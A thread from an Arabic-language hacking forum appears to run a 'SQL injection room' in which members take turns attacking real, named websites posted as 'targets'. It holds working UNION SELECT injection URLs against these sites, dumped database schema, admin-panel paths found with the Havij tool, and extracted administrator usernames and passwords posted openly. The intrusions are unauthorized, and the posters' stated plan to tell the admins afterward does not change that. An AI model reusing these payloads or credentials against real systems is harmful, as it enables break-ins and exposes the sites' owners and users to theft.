غرفة حقن قواعد البيانات {غرفة Sql }

راح أترك الموقع للأعضاء و الله العظيم ثقيل جدا جدا ليس النت هي الثقيلة و إنما السيرفر المرفوع عليه الموقع بالتوفيق اوك مش مشكلة حبيبي... ننتظر...

الحالة
مغلق و غير مفتوح للمزيد من الردود.
M

Master vbspiders

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
Syst3m-32 قال:
راح أترك الموقع للأعضاء

و الله العظيم ثقيل جدا جدا

ليس النت هي الثقيلة و إنما السيرفر المرفوع عليه الموقع

بالتوفيق​
أنقر للتوسيع...

[align=center]اوك مش مشكلة حبيبي...
ننتظر البقية وانشاء الله الهدف الي بعدو راح احاول القيلك موقع سريع بالتصفح
تحياتي[/align]
 
M

medoo_mohamed

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
Master vbspiders قال:
[align=center]المعلومات الخاصة بالدخول صحيحة 100%
لكن هذا الموقع غريب شوي
يعني الموقع فيه تقريبا 100 لوحة دخول وكلهم تقريبا لمن تفتحهم يطلع عامللهم تصريح للدخول...
لكن انا لقيت هاي الصفحات :
http://www.conflictanddevelopment.org/checkuser.php
http://www.conflictanddevelopment.org/myadmin/
http://www.conflictanddevelopment.org/logout/index.php

وطبعا هي هاي اصلا مش لوحات للدخول هاي مجرد تجربة يعني مثلا الرابط الاول
هو فقط تجربة للعضوية لا دخول والثاني هو دخول خطا من الاصل والثالث هو تسجيل خروج
وهاي كلها ما بتفيد
لازم نتخلص من التصريح الي موجود على باقي الصفحات مثل هاي :
http://www.conflictanddevelopment.org/log-in.asp



عموما هذا الهدف الجديد : http://www.estaciontierra.com/artistas/artista.php?id=201

بالتوفيق
تحياتي




[/align]
أنقر للتوسيع...

هذه هى الجداول والاعمدة الخاصة بالموقع لكن عند البحث عن عمود اليوزر والباص يكون غير موجود بالاسم المتداول

وعند استدعاء اى اعمدة فالموقع لا يستجيب

PHP: 
CHARACTER_SETS:CHARACTER_SET_NAME:information_schema,
CHARACTER_SETS:DEFAULT_COLLATE_NAME:information_schema,
CHARACTER_SETS:DESCRIPTION:information_schema,
CHARACTER_SETS:MAXLEN:information_schema,
COLLATIONS:COLLATION_NAME:information_schema,
COLLATIONS:CHARACTER_SET_NAME:information_schema,
COLLATIONS:ID:information_schema,
COLLATIONS:IS_DEFAU | Estacion Tierra Mondomix | Musicas del Mundo

COLLATIONS:COLLATION_NAME:information_schema,
COLLATIONS:CHARACTER_SET_NAME:information_schema,
COLLATIONS:ID:information_schema,
COLLATIONS:IS_DEFAULT:information_schema,
COLLATIONS:IS_COMPILED:information_schema,
COLLATIONS:SORTLEN:information_schema | Estacion Tierra Mondomix | Musicas del Mundo

CHARACTER_SETS:CHARACTER_SET_NAME:information_schema,
CHARACTER_SETS:DEFAULT_COLLATE_NAME:information_schema,
CHARACTER_SETS:DESCRIPTION:information_schema,
CHARACTER_SETS:MAXLEN:information_schema | Estacion Tierra Mondomix | Musicas del Mundo

PROFILING:QUERY_ID:information_schema,
PROFILING:SEQ:information_schema,
PROFILING:STATE:information_schema,
PROFILING:DURATION:information_schema,
PROFILING:CPU_USER:information_schema,
PROFILING:CPU_SYSTEM:information_schema,
PROFILING:CONTEXT_VOLUNTARY:information_schema,
PROFILING:CONTEXT_INVOLUNTARY:information_schema,
PROFILING:BLOCK_OPS_IN: | Estacion Tierra Mondomix | Musicas del Mundo
 
M

Master vbspiders

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
medoo_mohamed قال:
هذه هى الجداول والاعمدة الخاصة بالموقع لكن عند البحث عن عمود اليوزر والباص يكون غير موجود بالاسم المتداول

وعند استدعاء اى اعمدة فالموقع لا يستجيب

PHP: 
CHARACTER_SETS:CHARACTER_SET_NAME:information_schema,
CHARACTER_SETS:DEFAULT_COLLATE_NAME:information_schema,
CHARACTER_SETS:DESCRIPTION:information_schema,
CHARACTER_SETS:MAXLEN:information_schema,
COLLATIONS:COLLATION_NAME:information_schema,
COLLATIONS:CHARACTER_SET_NAME:information_schema,
COLLATIONS:ID:information_schema,
COLLATIONS:IS_DEFAU | Estacion Tierra Mondomix | Musicas del Mundo

COLLATIONS:COLLATION_NAME:information_schema,
COLLATIONS:CHARACTER_SET_NAME:information_schema,
COLLATIONS:ID:information_schema,
COLLATIONS:IS_DEFAULT:information_schema,
COLLATIONS:IS_COMPILED:information_schema,
COLLATIONS:SORTLEN:information_schema | Estacion Tierra Mondomix | Musicas del Mundo

CHARACTER_SETS:CHARACTER_SET_NAME:information_schema,
CHARACTER_SETS:DEFAULT_COLLATE_NAME:information_schema,
CHARACTER_SETS:DESCRIPTION:information_schema,
CHARACTER_SETS:MAXLEN:information_schema | Estacion Tierra Mondomix | Musicas del Mundo

PROFILING:QUERY_ID:information_schema,
PROFILING:SEQ:information_schema,
PROFILING:STATE:information_schema,
PROFILING:DURATION:information_schema,
PROFILING:CPU_USER:information_schema,
PROFILING:CPU_SYSTEM:information_schema,
PROFILING:CONTEXT_VOLUNTARY:information_schema,
PROFILING:CONTEXT_INVOLUNTARY:information_schema,
PROFILING:BLOCK_OPS_IN: | Estacion Tierra Mondomix | Musicas del Mundo
أنقر للتوسيع...

[align=center]بالنسبة للاسماء الخاصة بعمود الباس واليوزر اي فعلا هي مش متواجدة بالاسم الاعتيادي...
بس الموقع لمن جربت افتح احد العواميد فتحت عادي وهذا المثال :

PHP: 
http://www.estaciontierra.com/artistas/artista.php?id=-201+union+select+1,artista,3,4,5,6,7,8,9,10,11,12,13,14+from+artistas--

لي عودة مرة ثانية باذن الله...
تحياتي
[/align]
 
M

medoo_mohamed

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
نعم لكن عند استخدام الامر concat على اى اعمدة لا يستجيب الموقع لامر عرض ما بداخل الاعمدة وهذا ما اقصد

مثلا
PHP: 
http://www.estaciontierra.com/artistas/artista.php?id=-201%20UNION%20SELECT%201,group_concat%28CHARACTER_SET_NAME,0x3a,MAXLEN%29,3,4,5,6,7,8,9,10,11,12,13,14+from+CHARACTER_SETS--

لا تستجيب
 
التعديل الأخير:
M

Master vbspiders

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
medoo_mohamed قال:
نعم لكن عند استخدام الامر concat على اى اعمدة لا يستجيب الموقع لامر عرض ما بداخل الاعمدة وهذا ما اقصد

مثلا
PHP: 
http://www.estaciontierra.com/artistas/artista.php?id=-201%20UNION%20SELECT%201,group_concat%28CHARACTER_SET_NAME,0x3a,MAXLEN%29,3,4,5,6,7,8,9,10,11,12,13,14+from+CHARACTER_SETS--

لا تستجيب
أنقر للتوسيع...

[align=center]هو بيقول :

SQL server reply: Table 'estacion_estaciontierra.CHARACTER_SETS' doesn't exist
أنقر للتوسيع...

يعني عمبيقول العمود مش موجود...
انت متاكد من هذا العمود ؟


[/align]
 
D

DeadTerrorist

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
انا اظن ان ذلك السكرتب فقط لتجربة في ذلك الموقع لا غير او ان الحماية كتييرة عليه
 
M

Master vbspiders

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
[align=center]تم تغير الهدف...
هذا الهدف الجديد : http://www.araob.com/news.php?id=1204

ملاحضة : الي يحقن الموقع لا يغير الاندكس ولا الباس ولا يغير اي شي بالموقع لانه موقع عربي..
نحن راح نحقن القاعدة وبعدها راح نراسل الادارة بخصوص الثغرة والترقيع
تحياتي


[/align]
 
T

TIKTAKram

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
تم تغير الهدف...
هذا الهدف الجديد : http://www.araob.com/news.php?id=1204

ملاحضة : الي يحقن الموقع لا يغير الاندكس ولا الباس ولا يغير اي شي بالموقع لانه موقع عربي..
نحن راح نحقن القاعدة وبعدها راح نراسل الادارة بخصوص الثغرة والترقيع
تحياتي
أنقر للتوسيع...

ما بعرف إذ كانت الثغرة مرقعة أو شو ! لكن هذا الموقع لم أستطع حقنه

يا غالي أنت المشرف على هذا الموضوع لازم تضع مواقع ( هدف ) أنت حقنته من قبل

لا تقم بوضع موقع مستحيل حقنه ( لو كان صعب عادي )

لأنو هكذا المبتدئين راح يكرهوا الحقن بسرعة و يملوا منه يا غالي

إن شاء الله تتقبل رأيي و هذا هدف هدية لك :) :

كود: 
 http://www.talkeetnachamber.org/news.php?id=158

من يا ترى لي يحقنه الأول ؟؟ هو سهل بس يبغى شوي ذكاء :)

و أي مساعدة أنا هنا

بالتوفيق​
 
D

darkman.dz

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
كود: 
http://www.talkeetnachamber.org/news.php?id=-158+union+select+1,2,3,version%28%29,5,6,database%28%29,8,9,10,11--

وصلت هنا
الفلترة مانفهت معي مع from
الأمر
from+information_schema.columns

فما الحل راكو شوقتونا
 
D

darkman.dz

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
وصلت الحقنة إلى
كود: 
http://www.talkeetnachamber.org/news.php?id=-158+union+select+1,2,3,version%28%29,5,6,group_concat%28table_name,0x3a,column_name,0x3a,table_schema%29,8,9,10,11+from+information_schema.columns--

وجاري الزيادة
 
D

darkman.dz

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
الحقنة في
كود: 
http://www.talkeetnachamber.org/news.php?id=-158+union+select+1,2,3,version%28%29,5,6,group_concat%28table_name,0x3a,column_name,0x3a,table_schema%29,8,9,10,11+from+information_schema.columns+where+table_name=0x7068704d795365617263685f73657474696e6773--

أعمدة الباس
كود: 
phpMySearch_settings:DBPassword:talkeetn_db01
phpMySearch_settings:adminPassword:talkeetn_db01
talk_user:pass:talkeetn_db01

الجداول table_name
كود: 
phpMySearch_settings:recNo:talkeetn_db01
phpMySearch_settings:DBName:talkeetn_db01
phpMySearch_settings:DBUser:talkeetn_db01
phpMySearch_settings:DBPassword:talkeetn_db01
phpMySearch_settings:DBHost:talkeetn_db01
phpMySearch_settings:ProxyActive:talkeetn_db01
phpMySearch_settings:ProxyHost:talkeetn_db01
phpMySearch_settings:ProxyUser:talkeetn_db01
phpMySearch_settings:DBMainTableName:talkeetn_db01
phpMySearch_settings:DBSettingsTableName:talkeetn_db01
phpMySearch_settings:DBStructTableName:talkeetn_db01
phpMySearch_settings:DBSpiderStateTableName:talkeetn_db01
phpMySearch_settings:DBStatsTableName:talkeetn_db01
phpMySearch_settings:adminLogin:talkeetn_db01
phpMySearch_settings:adminPassword:talkeetn_db01
phpMySearch_settings:parsingExtArr:talkeetn_db01
phpMySearch_settings:startURLs:talkeetn_db01
phpMySearch_settings:urlRetrieveNumber:talkeetn_db01
phpMySearch_settings:StatsActive:talkeetn_db01
phpMySearch_settings:statsOutputNumber:talkeetn_db01
phpMySearch_settings:blackList:talkeetn_db01


وجاري المتابعة بإذن الله
 
T

TIKTAKram

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
أوكي بإنتظارك و أي مشكلة أنا هنا :)

و لا تتسرع مرة أخرى لأنه لا توجدأي فلترة

بالتوفيق​
 
D

darkman.dz

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
نهاية الحقنة
كود: 
http://www.talkeetnachamber.org/news.php?id=-158+union+select+1,2,3,version%28%29,5,6,group_concat%28adminLogin,0x3a,adminPassword%29,8,9,10,11+from+phpMySearch_settings--

user = admin
password = admin
 
D

darkman.dz

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
للأسف هذا ماخمنه برنامج havij
وما نصح معايا
كود: 
Page Found: http://www.talkeetnachamber.org/admin1.html
Page Found: http://www.talkeetnachamber.org/cpanel/
Page Found: http://www.talkeetnachamber.org/cpanel_file/
 
M

Master vbspiders

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
Syst3m-32 قال:


ما بعرف إذ كانت الثغرة مرقعة أو شو ! لكن هذا الموقع لم أستطع حقنه

يا غالي أنت المشرف على هذا الموضوع لازم تضع مواقع ( هدف ) أنت حقنته من قبل

لا تقم بوضع موقع مستحيل حقنه ( لو كان صعب عادي )

لأنو هكذا المبتدئين راح يكرهوا الحقن بسرعة و يملوا منه يا غالي

إن شاء الله تتقبل رأيي و هذا هدف هدية لك :) :

كود: 
 http://www.talkeetnachamber.org/news.php?id=158

من يا ترى لي يحقنه الأول ؟؟ هو سهل بس يبغى شوي ذكاء :)

و أي مساعدة أنا هنا

بالتوفيق​
أنقر للتوسيع...

[align=center]الثغرة تم ترقيعها يا غالي
+
كلامك على عيني وعلى راسي
بس انا فعلا حقنت الموقع قبل ما وضعتو على قائمة الاهداف الجديدة
وهاي معلومات الادمن
UserName : alseadi
Password : wfahad12

شكرا على المشاركة معانا وننتظر حقن الهدف الجديد..
تحياتي

[/align]
 
M

Master vbspiders

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
ooooo_darkman_ooooo قال:
نهاية الحقنة
كود: 
http://www.talkeetnachamber.org/news.php?id=-158+union+select+1,2,3,version%28%29,5,6,group_concat%28adminLogin,0x3a,adminPassword%29,8,9,10,11+from+phpMySearch_settings--

user = admin
password = admin
أنقر للتوسيع...

شغل حلو
^_^
معليش الموقع الثاني بنلقي لوحة التحكم باذن الله
تحياتي
​
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.
أعلى